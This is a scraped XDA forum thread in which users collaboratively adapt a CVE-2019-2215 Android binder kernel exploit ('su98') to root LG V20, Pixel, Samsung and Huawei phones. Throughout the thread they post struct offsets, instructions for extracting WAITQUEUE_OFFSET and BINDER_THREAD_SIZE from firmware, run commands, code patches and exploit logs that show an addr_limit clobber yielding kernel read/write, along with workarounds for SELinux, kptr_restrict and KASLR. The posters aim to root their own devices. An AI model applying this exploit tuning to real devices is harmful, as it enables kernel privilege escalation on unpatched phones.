yashsingh1/xdaforums huggingface dataset:
[LG V20 Questions & Answers] ilikenwf:
I'm having trouble finding the branch or tag that corresponds to this particular kernel, the closest I've found is in the msm tree, the Pie branches - I'm not sure how they differ. I think qpr3 is the latest for Pie... I'm on pq3a.190801.002 which is the August update.

https://android.googlesource.com/kernel/msm

struct binder_thread {
struct binder_proc *proc;
struct rb_node rb_node;
struct list_head waiting_thread_node;
int pid;
int looper; /* only modified by this thread */
bool looper_need_return; /* can be written by other thread */
struct binder_transaction *transaction_stack;
struct list_head todo;
bool process_todo;
struct binder_error return_error;
struct binder_error reply_error;
wait_queue_head_t wait;
struct binder_stats stats;
atomic_t tmp_ref;
bool is_dead;
struct task_struct *task;
};
[LG V20 Questions & Answers] Supersonic27543:
The kernel source I got is identical to this, and both seems to be identical to the V20 source.
[LG V20 Questions & Answers] chompie1337:
i found a way to find the waitqueue offset and binder_thread size from the kernel image. if you have the firmware file of your device i can help.

unfortunately for the S8 on pie, the offsets are the same as in the original PoC from p0 and the kernel leak fails. i can tell the kernel isn't patched for this bug and the parts of the kernel code look identical (for allocations and i/o) so I'm stumped on why it wouldn't be working for my device :/
[LG V20 Questions & Answers] rockyroad982:
Here is the struct binder_thread for my device, struct binder_thread {

struct binder_proc *proc;

struct rb_node rb_node;

struct list_head waiting_thread_node;

int pid;

int looper; /* only modified by this thread */

bool looper_need_return; /* can be written by other thread */

struct binder_transaction *transaction_stack;

struct list_head todo;

struct binder_error return_error;

struct binder_error reply_error;

wait_queue_head_t wait;

struct binder_stats stats;

atomic_t tmp_ref;

bool is_dead;

struct task_struct *task;

};

What would my WAITQUEUE_OFFSET be?
[LG V20 Questions & Answers] Supersonic27543:
Firmware

I'm not sure what image(s) would be required so I uploaded the whole file. If you want specific image(s) I'll extract and upload. Thank you very much!
[LG V20 Questions & Answers] arpruss:
I revised poc98-test and the new version of the exploit disables SECCOMP so it should run from the terminal. Moreover, it doesn't need the hardcoded addresses for pk1, pk2 or selinuxenforcing, but it actually searches memory to find all of these by itself.
[LG V20 Questions & Answers] chompie1337:
i'm downloading the entire image but it's going pretty slow. i just need the boot.img (where the kernel is) if you wanna upload. otherwise i'll take a look tmrw when it's done
[LG V20 Questions & Answers] bads3ctor:
Nice! I'm trying to get this to work on my S9+ and I have read through your code but I don't seem to understand why I get an error message(attached). Some insight would help. I have looked at binder.c for my kernel and it seems the S9+ is still vulnerable.
[LG V20 Questions & Answers] Supersonic27543:
I'm almost out of bandwidth for the month, so I'll download it when it's night here (we have extra bandwidth when downloading at night)
[LG V20 Questions & Answers] arpruss:
I cleaned up and sped up the code quite a bit and renamed the working root shell exploit to su98: https://github.com/arpruss/cve2019-2215-3.18

Download the su98 binary from github. Put it in /data/local/tmp

adb shell
cd /data/local/tmp
chmod 755 su98
./su98
[LG V20 Questions & Answers] DrZener:
Thank you for your work.

Are you open to suggestions/requests to extend compatibility across 3.18 devices?
[LG V20 Questions & Answers] ilikenwf:
For Pixels the FW is here:

https://dl.google.com/dl/android/aosp/marlin-pq3a.190801.002-factory-13dbb265.zip
[LG V20 Questions & Answers] arpruss:
Yes!

Here is what is most essential to customize:

#define OFFSET__task_struct__cred 0x550
#define OFFSET__task_struct__seccomp 0x9b0
#define OFFSET__cred__uid 0x004
#define OFFSET__cred__securebits 0x024
#define OFFSET__cred__cap_permitted 0x030

Of these, I expect cred and seccomp are the two things that will vary the most between devices.

It may, however, be possible to get the cred offset automatically from the offset of the taskname, which one can do a text search for in the task_struct, working on the assumption that the cred offset is right before it (unless the cached_requested_key field is defined: I don't know if any Android kernels do that).

The hardest offset for me to get (I don't have a build system for the kernel or the correct .config file so I couldn't use pahole) was the giant offset for seccomp. It may be possible to get around that by searching the task_struct for the pattern 02 00 00 00 00 00 00 00 ?? ?? ?? ?? c0 ff ff ff, starting at cred and searching downward, when seccomp is set to 2 (which is the only time I think it will be relevant).
[LG V20 Questions & Answers] DrZener:
As far as I saw from tests on a couple of devices OFFSET__task_struct__cred is different on both. Yes, looking for argv[0] in task_struct worked (i used this code ).

On the other hand fixKallsymsFormatStrings never worked (kallsyms 0ed). I'm looking into it to see why it fails. Any idea?

Oh, with the right offsets the code works fine if bundled inside an app :)
[LG V20 Questions & Answers] antintin:
Can i try to run this on lg g8? Shouldn't do anything right?
[LG V20 Questions & Answers] arpruss:
Not exactly. I am looking for the kallsym formatting strings which start with "%pK %c %s". The K forces the formatter to check for kptr_restrict. So I just delete the K.

Have you tried commenting out this line:

#define OFFSET__cred__user_ns 0x088 // if you undefine this, it might still work

I think there is a good chance this will solve your kallsyms problem.

If that fails: Dump a couple of megabytes of memory backwards starting with user_ns (you will want to fix its offset). Then search through that for "%pK %c" and that might give you a hint as to why it's not finding it. You can send me the dump if you like (arpruss at gmail dot com).

BTW, your code for finding cred won't work if the exploit is launched from a different directory. You should search for the last slash. I would also verify the search by making sure that you found the string at an 8-byte boundary, especially given the new "su98" name. Five characters (su98+\0) could fairly easily occur by chance in the wrong place. For maximum safety, you could see if there is more than one match, in which case you could see if the cred pointer works (e.g., compare the content of the cred structure to what getpid() returns). I plan to do all this tonight if I have time.
[LG V20 Questions & Answers] chompie1337:
I've received a lot of messages asking for help finding the WAITQUEUE_OFFSET. since i know a lot of people are lurking this thread as well, I'll post instructions on how to find it if you have your devices firmware. The following example is for the firmware linked to me by [MENTION=7860599]Supersonic27543[/MENTION] which is a Huawei firmware.

If you can't find (or aren't sure) the kernel source your device is running, download the firmware for your device. Make sure it's the exact one your device is running, as things change across builds.

1. Extract the firmware. You need boot.img or kernel.img (could be either of these depending on your device).

2. Use imgtool or binwalk to extract the kernel. For Huawei devices, you'll need to use binwalk.

./imgtool.ELF64 boot.img extract

binwalk -e KERNEL.img

This should get you an extracted kernel. If you use imgtool, the file will be named kernelimage. If you use binwalk, look at the output of binwalk to get the name of the file.

3. For devices with KASLR, compile fix_kaslr_arm64.c from here and run it against your extracted kernel.

./fix_kaslr_arm64 kernelimage kernimage_fixed

If you aren't sure if your kernel has KASLR, skip this step and come back if the step 5 fails.

4. Install droidimg plugin for any disassembler. There's support for radare2, IDA, binja, and Ghidra. I used the the binary ninja version because it's the easiest to get working. Just copy the github project folder into the plugins folder and it should load on startup.

5. Load the kernelimage into the disassembler. In binary ninja, you should see functions being populated if you did everything correctly. Now, navigate to the function binder_get_thread. This is where the bider_thread structure gets created and initialized.

In this function you should see a call to kmem_cache_alloc_trace. This is where the binder_thread structure gets allocated. Look for the value getting loaded into register x2. That is your BINDER_THREAD_SIZE. See first attached image. In this example, the size is 0x1a0.

Next, you should see a call to __init_waitqueue_head. This is where thread->wait gets initialized. Look for the value getting added to another register and loaded into register x0. That is your WAITQUEUE_OFFSET. See second attached image. In this example, the waitqueue offset is 0xa8.

Hope this is helpful.
[LG V20 Questions & Answers] Supersonic27543:
Wow, thank you! I just finished downloading the firmware. :D I'll try this when I get some free time with my PC and let you know how it goes!
[LG V20 Questions & Answers] DrZener:
Sure, now it's clear, I didn't get it when it was only pk1/2

Uhm no, it doesn't even compile since OFFSET__cred__user_ns is undefined

I'll try to do that. I've seen that fixKallsymsFormatStrings...patches itself?

I dump a a few bytes around the address it finds and i get this

00000000 70 61 74 63 68 69 6e 67 20 6c 6f 6e 67 65 72 20 |patching longer |
00000010 76 65 72 73 69 6f 6e 20 61 74 20 25 6c 78 0a 00 |version at %lx..|
00000020 25 70 4b 20 25 63 20 25 73 0a 00 25 70 20 25 63 |%pK %c %s..%p %c|
00000030 20 25 73 0a 00 4d 41 49 4e 3a 20 70 61 74 63 68 | %s..MAIN: patch|
00000040 69 6e 67 20 73 68 6f 72 74 65 72 20 76 65 72 73 |ing shorter vers|
00000050 69 6f 6e 20 61 74 20 25 6c 78 0a 00 52 65 61 64 |ion at %lx..Read|
00000060 69 6e 67 20 2f 70 72 6f 63 2f 6b 61 6c 6c 73 79 |ing /proc/kallsy|
00000070 6d 73 00 30 30 30 30 30 30 30 30 30 30 30 30 30 |ms.0000000000000|
00000080 30 30 30 00 43 61 6e 6e 6e 6f 74 20 66 69 78 20 |000.Cannnot fix |
00000090 6b 61 6c 6c 73 79 6d 73 20 66 6f 72 6d 61 74 20 |kallsyms format |
000000a0 73 74 72 69 6e 67 00 53 74 61 72 74 69 6e 67 20 |string.Starting |
000000b0 50 4f 43 0a 00 2f 64 65 76 2f 62 69 6e 64 65 72 |POC../dev/binder|
000000c0 00 4d 41 49 4e 3a 20 74 61 73 6b 5f 73 74 72 75 |.MAIN: task_stru|
000000d0 63 74 5f 70 74 72 20 3d 20 25 6c 78 0a 00 4d 41 |ct_ptr = %lx..MA|
000000e0 49 4e 3a 20 73 74 61 63 6b 20 3d 20 25 6c 78 0a |IN: stack = %lx.|
000000f0 00 4d 41 49 4e 3a 20 43 6c 6f 62 62 65 72 69 6e |.MAIN: Clobberin|
MAIN: patching shorter version at ffffffc04fb1fcf0

P.S.: some kernels don't have selinux_enforcing symbol in kallsyms
[LG V20 Questions & Answers] arpruss:
Maybe you weren't using the latest version in github? :)

I just updated the github version again. No more need for user_ns. Tell me if it works.

The new version also doesn't need the cred offset. It does need the seccomp offset when run from an app, but I plan to fix that, too.

That looks totally wrong: it looks like it's overwritten with stuff in user memory. Are you sure you're dumping correctly?
[LG V20 Questions & Answers] arpruss:
I just posted a new version that autodetects the seccomp offset as well.

I don't know what to do about kernels that don't export the selinux_enforcing symbol.
[LG V20 Questions & Answers] arpruss:
I just posted a new version that autodetects the seccomp offset as well. I do assume that the parent and child exe fields come right after the seccomp field.

The current version may work on a lot of 3.18 kernels without modification.

I don't know what to do about kernels that don't export the selinux_enforcing symbol.

I did once have it fail to work. That's certainly possible as it is always possible that something else on the device will overwrite the buggily freed memory, and there is nothing I can do about that.
[LG V20 Questions & Answers] arpruss:
I am running into an interesting problem: /proc/kallsyms is inaccessible from an app if selinux is enabled. One solution would be to run via adb first, cache the necessary addresses, and then the app can use the cached addresses. I've implemented that, but it's a nuisance.

A better method is just to search for the compressed kallsyms data in kernel memory.

I noticed an interesting thing: after a reboot, selinux makes it impossible to run some binaries from an app. It's OK if the binaries are in the app's lib folder and are owned by system.system, but otherwise they get disabled.
[LG V20 Questions & Answers] ilikenwf:
Nice work - unfortunately on the 3.18 Pixel XL gen 1 it still seems to hang at EPOLL_CTL_DEL and the phone seems to be locking up. On the upshot su98 doesn't seem to crash/cause a reboot (yet), and while I can still talk through another adb shell to the phone, things are largely locked up.

I've been sitting for about 3 minutes, do I probably need to look at and change offsets, or is something else happening?

marlin:/data/local/tmp $ ./su98
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: Calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.

Edit: after a fresh reboot it crashes around the call to WRITEV and the phone reboots.
[LG V20 Questions & Answers] arpruss:
I expect the WAITQUEUE is not at 0x98. If that's what it is, I can't do anything about it unless you can find out your WAITQUEUE offset.
[LG V20 Questions & Answers] antintin:
Here's the source for v50

https://github.com/SGCMarkus/android_kernel_lge_sm8150

and

http://opensource.lge.com/osSch/list?types=ALL&search=lmv

If someone could try to compile the exploit for that for that kernel (if its vulnerable i really have no idea) I'm sure many people would appreciate it over on the v50 side and it might open up development for v50 a little more, which would also be good
[LG V20 Questions & Answers] arpruss:
Looking at the source, I think there is a very good chance the original poc will do something on this device. Does it?

My version is not compatible.
[LG V20 Questions & Answers] chompie1337:
Omg. I have this working on S8 Galaxy active Oreo. The vuln has been patched on pie.

In some some Samsung kernels, binder_poll looks like this:

if (binder_has_work(thread, wait_for_proc_work))
return POLLIN;

poll_wait(filp, &thread->wait, wait);

Meaning the wait queue never gets linked to the EPOLL structure when calling adding the epoll if binder_has_work evaluates to true. Long story short, this can be fixed by adding

ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);

in front of this line (appears twice)

if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) err(1, "epoll_add");

Finally. I thought I was going crazy or extremely bad at pointer math.
[LG V20 Questions & Answers] DrZener:
I tested your updated code and fixKallsymsFormatStrings still doesn't work (it exits with "Cannnot fix kallsyms format string: Bad address"). I dumped mem and format specifiers are at 0xFFFFFFC00112E5AA and 0xFFFFFFC00112E5BA.

Has it something to do w/ alignment?

i'm pretty sure it can be dumped form somewhere, I'll look into it later
[LG V20 Questions & Answers] Supersonic27543:
I edited the sizes and they look correct and doesn't crash the device (thanks again [MENTION=10174047]chompie1337[/MENTION]!) But I'm getting this error:

MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: Calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0x0
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0x0
CHILD: Finished write to FIFO.
problematic address pointer, e.g., fffffff9dfebe2b0: error
PARENT: Done with leaking
MAIN: task_struct_ptr = 0
MAIN: stack = 0
MAIN: Clobbering addr_limit
PARENT: clobbering at 0x8
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69632, expected 69648
clobber value doesn't match: is 0 but should be abcddeadbeef1234: error
CHILD: wrote 69648

This kernel is 4.4, could that be the problem here? Also sometimes the last line (CHILD: wrote 69648) doesn't appear. Or maybe KASLR is the problem? Thanks!
[LG V20 Questions & Answers] arpruss:
Can you try the current su98 from github and see if it works and/or gives you a "partial failure" message?
[LG V20 Questions & Answers] arpruss:
How is max_threads declared and with what value? And is BINDER_SET_MAX_THREADS just equal to 5?
[LG V20 Questions & Answers] antintin:
I forgot exactly what happened, but when I ran what I'm pretty sure was the original poc from termux, it ended on writev() returns to 0x1000

and before that it said CHILD: finished write to FIFO (or something like that)
[LG V20 Questions & Answers] chompie1337:
Try setting BINDER_THREAD_SIZE to the actual size minus 8. I think in your case this 0x198. Let me know what you get

---------- Post added at 04:58 PM ---------- Previous post was at 04:56 PM ----------

#define BINDER_SET_MAX_THREADS 0x40046205ul

int max_threads = 2;

---------- Post added at 05:04 PM ---------- Previous post was at 04:58 PM ----------

do you know your WAITQUEUE offset? this POC is only compatible with offsets that are 8 byte (but not 16) aligned just fyi.
[LG V20 Questions & Answers] Supersonic27543:
[MENTION=10174047]chompie1337[/MENTION] That gives the same output as before. I tried 0x190 as well and that gives the expected value in last readv but otherwise identical.

EDIT: I ran this with 0x190 again and this time it crashed the device on EPOLL_CTL_DEL.
[LG V20 Questions & Answers] arpruss:
I added this to github, but are you sure this is enough? The exploit uses three threads at one point in its execution.
[LG V20 Questions & Answers] chompie1337:
you can increase it, it shouldn't matter. the idea is to send a .binder ioctl to reset a flag in the binder_thread struct. there should only be one active binder thread at a time anyways.

---------- Post added at 05:35 PM ---------- Previous post was at 05:28 PM ----------

do you know how to dump data?

https://github.com/arpruss/cve2019-2215-3.18/blob/master/poc98.c

compile this and add

hexdump_memory(dataBuffer, leakAmount);

after line 149. (change WQ offset to 0xa8)
[LG V20 Questions & Answers] denkazzzget:
I haven't got homebrew and can't send boot.img

Output of 'poc' with above values:

or link: imgur.com/ARuSXFJ
[LG V20 Questions & Answers] Supersonic27543:
I downloaded the latest version and it seems to have fixed that. Now it is a bad kernel address.

MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: Calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffff1aac2a940
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffff15da4b4b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: Clobbering test passed.
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xfffffff15d60c000
CHILD: Finished write to FIFO.
PARENT: Done with leaking
MAIN: task_struct_ptr = fffffff1aac2a940
MAIN: stack = fffffff15d60c000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xfffffff15d60c008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69648
PARENT: readv returns 69648, expected 69648
PARENT: Clobbering test passed.
error with kernel reading: Bad address

Should I still dump memory, and from where? Also, thank you very much for helping!
[LG V20 Questions & Answers] chompie1337:
cool, the clobber is working. i think the clobber needs to be updated for 4.4 kernels. i'm working on a fix, stay tuned.
[LG V20 Questions & Answers] arpruss:
On 4.4, I think you need to change clobber_data(kstack+8,&src,8) to clobber_data(task_struct_ptr+8,&src,8).

The current github version of the exploit now checks kernel version and adjusts this. There is probably a bunch of other stuff that doesn't work on 4.4, though. Most notably, you need to take KASLR into account when getting kernel addresses. https://github.com/grant-h/qu1ckr00t/blob/master/native/poc.c does this by getting the user_ns address, but that's a nasty offset to find in a portable way.
[LG V20 Questions & Answers] Supersonic27543:
I downloaded the latest version and ran it again and now it gives kernel R/W:

MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffffc5fdc1b80
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffffbded150b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
CHILD: task_struct_ptr = 0xfffffffbeaadc000
PARENT: Reading leaked data
CHILD: Finished write to FIFO.
CHILD: wrote 69688
PARENT: leaking successful
MAIN: task_struct_ptr = fffffffc5fdc1b80
MAIN: stack = fffffffbeaadc000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xfffffffbeaadc008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
PARENT: readv returns 69648, expected 69648
PARENT: clobbering test passed
MAIN: thread_info = 0xfffffffbeaadc000
MAIN: should have stable kernel R/W now
MAIN: searching for cred offset in task_struct
error with kernel reading: Bad address
CHILD: wrote 69648

If it indeed gives kernel R/W then is it a matter of disabling KASLR? Or are there anything that could go wrong on 4.4 after that point?

BTW the kernel 4 tweak crashed my device, this is the output after forcing kernel3 to 1.

Thank you!
[LG V20 Questions & Answers] chompie1337:
judging on your output, you don't have r/w because the first kernel_read fails. because you forced the kernel version to 3, it's not clobbering at the right value. on my device, the 4.4 fix works. (clobbers at task_struct + 8). could be the offset for addr_lim is different.

edit: nvm the kernel 4 fix crashes my device as well. i'm able to read but not write when clobbering thread_info from the kernel stack. probably due to RTP on Samsung I'm guessing
[LG V20 Questions & Answers] Supersonic27543:
It is crashing after the EPOLL_CTL_DEL. The log:

MAIN: detected kernel version other than 3
MAIN: starting exploit for devices with waitqueue at 0x98
PARENT: soon will be calling WRITEV
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: initial portion length 0x12000
CHILD: task_struct_ptr = 0xfffffffbf48f0000
CHILD: clobbering with extra leak structures
PARENT: clobbering at 0xfffffffbe9efd2b0
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69688
PARENT: readv returns 69688, expected 69688
PARENT: clobbering test passed
CHILD: clobbered
PARENT: writev() returns 0x13008
PARENT: Reading leaked data
CHILD: task_struct_ptr = 0xfffffffbdf20c000
CHILD: Finished write to FIFO.
PARENT: leaking successful
MAIN: task_struct_ptr = fffffffbf48f0000
MAIN: Clobbering addr_limit
PARENT: clobbering at 0xfffffffbf48f0008
CHILD: Doing EPOLL_CTL_DEL.
CHILD: Finished EPOLL_CTL_DEL.
CHILD: wrote 69648

And after that it hangs or reboots after a few seconds.

Thanks!
[LG V20 Questions & Answers] arpruss:
Maybe there is some other bug in my code for 4.4. Have you tried the current github version on your 4.4 device?
[LG V20 Questions & Answers] chompie1337:
just tried it, it crashes.
[LG V20 Questions & Answers] arpruss:
But an earlier version did not crash when you manually changed kstack to task_struct_ptr? That's very puzzling. I wonder what I did to break it. I have no idea; I've made a lot of revisions.
[LG V20 Questions & Answers] arpruss:
BTW, I've increased the stability of the exploit, and I added some retries in case something goes wrong.

My main reason for developing the exploit was to use my ColorChanger app on my LG V20 (it's the only root-requiring app I regularly use). I can do that now, by modifying ColorChanger to use su98 instead of su.